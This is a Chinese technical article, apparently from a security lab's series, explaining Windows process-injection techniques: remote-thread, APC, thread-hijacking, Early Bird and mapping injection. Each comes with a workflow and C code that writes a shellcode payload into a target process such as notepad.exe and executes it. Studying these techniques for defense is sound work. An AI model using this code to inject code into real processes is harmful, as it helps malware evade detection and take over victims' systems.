前言
進(jìn)程注入是一種眾所周知的技術(shù),惡意程序利用它在進(jìn)程的內(nèi)存中插入并執(zhí)行代碼。
進(jìn)程注入是一種惡意程序廣泛使用的防御規(guī)避技術(shù)。大多數(shù)情況下,惡意程序使用進(jìn)程注入來動(dòng)態(tài)運(yùn)行代碼,這意味著實(shí)際的惡意代碼不需要直接寫入磁盤上的文件中,以避免被防病毒軟件的靜態(tài)檢測(cè)所發(fā)現(xiàn)。
簡(jiǎn)單來說,進(jìn)程注入就是將一段數(shù)據(jù)從一個(gè)進(jìn)程傳輸?shù)搅硪粋€(gè)進(jìn)程的方法,這種注入過程可以發(fā)生在執(zhí)行操作的同一進(jìn)程(自注入)上,也可發(fā)生在外部進(jìn)程上。在注入外部進(jìn)程的情況下,攻擊者通常會(huì)選擇受信任的合法進(jìn)程,例如正在運(yùn)行的應(yīng)用程序或系統(tǒng)進(jìn)程,其目的是未經(jīng)授權(quán)地訪問和操縱這些進(jìn)程,同時(shí)也希望能夠隱藏自己注入的惡意代碼,以逃避安全軟件和防御者的檢測(cè)。
無論是在同一進(jìn)程還是遠(yuǎn)程進(jìn)程中,為了在內(nèi)存中注入和執(zhí)行代碼,攻擊者會(huì)使用 Windows API 的不同組合。這些 API 在注入邏輯中有不同的用途,具體使用的函數(shù)調(diào)用數(shù)量和特定的 Windows API 可能會(huì)有所不同,這取決于所選的代碼注入方法。
已有多種方法實(shí)現(xiàn)在 Windows 進(jìn)程空間內(nèi)的代碼注入和執(zhí)行,下面列出了常見的進(jìn)程注入方法(以注入 shellcode 為例,注入 DLL 類似)。
ps:文中設(shè)計(jì)的示例代碼為了精簡(jiǎn),方便看清邏輯,并未添加相關(guān)錯(cuò)誤處理。
傳統(tǒng)的遠(yuǎn)程線程注入
該注入技術(shù)通過實(shí)例化遠(yuǎn)程線程來實(shí)現(xiàn)在目標(biāo)進(jìn)程中的執(zhí)行。
工作流程:
獲取目標(biāo)進(jìn)程的句柄
在目標(biāo)進(jìn)程中為 payload 分配空間
將 payload 寫入目標(biāo)進(jìn)程分配的空間中
創(chuàng)建一個(gè)線程執(zhí)行注入代碼
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL); WaitForSingleObject(hThread, 500); return0; }
根據(jù)該注入技術(shù),可以拓展出許多基于該技術(shù)的變種,在獲取目標(biāo)進(jìn)程句柄上,惡意程序可以通過創(chuàng)建一個(gè)新的進(jìn)程來實(shí)現(xiàn)(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不僅僅通過打開現(xiàn)有進(jìn)程實(shí)現(xiàn),獲取通過較低層次的 API(Native API)NtOpenProcess 來獲取目標(biāo)進(jìn)程句柄,在比如可以使用 NtWriteVirtualMemory 將數(shù)據(jù)寫入對(duì)方內(nèi)存,使用類似 ZwCreateThreadEx、RtlCreateUserThread 等 API 來執(zhí)行寫入的惡意代碼。
APC 注入
進(jìn)程中每一個(gè)線程都存在一個(gè) APC 隊(duì)列,當(dāng)一個(gè)線程從等待狀態(tài)中蘇醒(線程調(diào)用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函數(shù)時(shí)會(huì)進(jìn)入可喚醒狀態(tài)),進(jìn)入可警報(bào)狀態(tài)狀態(tài)的時(shí)候,系統(tǒng)遍歷該線程的 APC 隊(duì)列,然后按照 FIFO 的順序來執(zhí)行 APC。在用戶模式下,我們可以像創(chuàng)建遠(yuǎn)程線程一樣,使用 QueueUserAPC 把 APC 過程添加到目標(biāo)線程的 APC 隊(duì)列中,等這個(gè)線程處于可警報(bào)狀態(tài)時(shí),就會(huì)執(zhí)行插入的 APC 過程了。更詳細(xì)的 APC 解釋可參考 Asynchronous Procedure Calls(鏈接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)
工作流程:
獲取目標(biāo)進(jìn)程句柄
獲取目標(biāo)進(jìn)程任一線程句柄
在目標(biāo)進(jìn)程中為 payload 分配空間
將 payload 寫入目標(biāo)進(jìn)程分配的空間
將 APC 插入目標(biāo)線程的 APC 隊(duì)列中
當(dāng)這個(gè)線程處于可警報(bào)狀態(tài)時(shí),惡意代碼將被執(zhí)行,APC 注入的優(yōu)點(diǎn),避免了在目標(biāo)進(jìn)程中創(chuàng)建新的線程,使用異步過程調(diào)用去觸發(fā)惡意代碼的執(zhí)行。但缺點(diǎn)也很明顯,惡意代碼被觸發(fā)執(zhí)行的條件苛刻,被觸發(fā)的時(shí)機(jī)不確定。
intmain()
{
SIZE_T payloadLen = sizeof(payload);
DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL);
return0;
}
Thread Hijacking 注入
該注入技術(shù)通過將目標(biāo)線程的執(zhí)行重定向到任意代碼來控制進(jìn)程內(nèi)執(zhí)行流的技術(shù)。它允許攻擊者在不創(chuàng)建新進(jìn)程或修改底層代碼的情況下操縱正在運(yùn)行的進(jìn)程的行為。
工作流程:
獲取目標(biāo)進(jìn)程句柄以及目標(biāo)進(jìn)程的任一線程句柄
在目標(biāo)進(jìn)程為 payload 分配一段空間
將 payload 寫入目標(biāo)進(jìn)程
掛起目標(biāo)線程
獲取目標(biāo)線程上下文
修改目標(biāo)線程 RIP(x64)/EIP(x86)讓其指向存放 payload 的地址
提交劫持目標(biāo)線程上下文
恢復(fù)被劫持的線程執(zhí)行
intmain()
{
SIZE_T payloadLen = sizeof(payload);
CONTEXT ctx{};
DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
SuspendThread(hThread);
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
#ifdef_WIN64
ctx.Rip = (DWORD_PTR)pRemoteBuffer;
#else
ctx.Eip = (DWORD_PTR)pRemoteBuffer;
#endif
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
return0;
}
Early Bird 注入
Early Bird 是一種簡(jiǎn)單而強(qiáng)大的技術(shù),實(shí)際上它是 APC 注入和 Thread Hijacking 注入的結(jié)合體,具體原理是在線程初始化時(shí)會(huì)調(diào)用 NTDLL 中的未導(dǎo)出函數(shù) NtTestAlert,它是一個(gè)用于檢查當(dāng)前線程的 APC 隊(duì)列的函數(shù)。如果隊(duì)列中有任何排隊(duì)的作業(yè),NtTestAlert 會(huì)清空隊(duì)列。在線程啟動(dòng)時(shí),在執(zhí)行任何其他操作之前,NtTestAlert 函數(shù)會(huì)被調(diào)用。因此,如果在線程的初始狀態(tài)下操作 APC,就可以成功執(zhí)行惡意代碼。
工作流程:
創(chuàng)建一個(gè)處于掛起狀態(tài)的合法進(jìn)程
在目標(biāo)進(jìn)程的內(nèi)存空間中為 payload 分配內(nèi)存
將 payload 寫入目標(biāo)進(jìn)程
將 APC 插入目標(biāo)進(jìn)程主線程的 APC 隊(duì)列中
恢復(fù)目標(biāo)進(jìn)程的主線程執(zhí)行
intmain()
{
SIZE_T payloadLen = sizeof(payload);
TCHAR processName[] = TEXT("notepad.exe");
STARTUPINFO si{sizeof(si)};
PROCESS_INFORMATION pi{};
CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL);
ResumeThread(pi.hThread);
return0;
}
在將 payload 寫入目標(biāo)進(jìn)程后,當(dāng)惡意代碼被執(zhí)行時(shí),查看此時(shí)調(diào)用堆??梢园l(fā)現(xiàn) NtTestAlert 函數(shù)被調(diào)用,可以發(fā)現(xiàn)導(dǎo)致惡意代碼被執(zhí)行的流程是:
LdrInitializeThunk→ LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher


Mapping 注入
通過利用 MapViewOfFile 相關(guān)函數(shù),惡意代碼可以將攻擊者控制的現(xiàn)有節(jié)映射到目標(biāo)進(jìn)程中。這樣做的好處是不需要顯式地分配具有 RWX 權(quán)限的內(nèi)存,并且避免了復(fù)制單獨(dú)有效載荷的需要。惡意代碼間接地成為目標(biāo)進(jìn)程內(nèi)存空間的一部分,從而允許它在真正模塊的上下文中執(zhí)行。
工作流程:
創(chuàng)建具有 RWX 保護(hù)屬性的映射對(duì)象
將映射對(duì)象映射到本地進(jìn)程的虛擬地址空間中
將 payload 寫入到映射地址中
獲取目標(biāo)進(jìn)程句柄
將映射對(duì)象映射到遠(yuǎn)程進(jìn)程的虛擬地址空間中
創(chuàng)建一個(gè)線程執(zhí)行注入代碼
intmain()
{
SIZE_T payloadLen = sizeof(payload);
DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe"));
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL);
LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen);
memcpy(pLocalView, payload, payloadLen);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);
UnmapViewOfFile(pLocalView);
CloseHandle(hThread);
CloseHandle(hMapping);
return0;
}
總結(jié)
大多數(shù)進(jìn)程注入技術(shù)的步驟如下(某些技術(shù)可能需要額外的步驟):
首先,需要獲取目標(biāo)進(jìn)程的句柄,這可以通過創(chuàng)建一個(gè)新的進(jìn)程或使用 API 函數(shù)來查看運(yùn)行中的進(jìn)程來實(shí)現(xiàn);
其次,需要準(zhǔn)備好要注入的數(shù)據(jù)(shellcode、PE(exe、dll...));
然后,需要找到一種方法將準(zhǔn)備好的數(shù)據(jù)傳輸?shù)侥繕?biāo)進(jìn)程。這可以使用進(jìn)程間通信(IPC)機(jī)制或一些系統(tǒng) API 組合實(shí)現(xiàn);
最后,需要執(zhí)行注入的代碼,將準(zhǔn)備好的數(shù)據(jù)在目標(biāo)進(jìn)程中運(yùn)行起來
進(jìn)程注入在惡意代碼開發(fā)中被大量使用,防御者也在研究越來越多的新技術(shù),傳統(tǒng)的進(jìn)程注入技術(shù)大多依賴于通用的 API,在一些高級(jí)的進(jìn)程注入方法中,這些新的注入方法比傳統(tǒng)的注入手段更加復(fù)雜,這些注入方法針對(duì)目標(biāo)進(jìn)程的內(nèi)部結(jié)構(gòu),而不僅僅依賴通用 API,這使得防御者更難檢測(cè),在后續(xù)的文章中,將分析這些高級(jí)的注入方法,研究其實(shí)現(xiàn)原理。
審核編輯:劉清
-
dll
+關(guān)注
關(guān)注
0文章
120瀏覽量
46846 -
RIP
+關(guān)注
關(guān)注
0文章
31瀏覽量
11034 -
觸發(fā)器
+關(guān)注
關(guān)注
14文章
2056瀏覽量
63407 -
狀態(tài)機(jī)
+關(guān)注
關(guān)注
2文章
499瀏覽量
29149 -
APC
+關(guān)注
關(guān)注
0文章
38瀏覽量
12005
原文標(biāo)題:進(jìn)程注入系列Part 1 常見的進(jìn)程注入手段
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
介紹開發(fā)者在ESP8266開發(fā)中常見的一些問題
WINDOWS核心編程 (pdf下載)
筆記本維修中常見的商家作弊手段曝光
windows 2000 常見進(jìn)程表
windows應(yīng)用程序讀取進(jìn)程的內(nèi)存工具免費(fèi)下載
PCB設(shè)計(jì)工作中常見的錯(cuò)誤有哪些?
常見的進(jìn)程間通信方式
離子注入工藝中的重要參數(shù)和監(jiān)控手段
在Windows中常見的進(jìn)程注入手段介紹
評(píng)論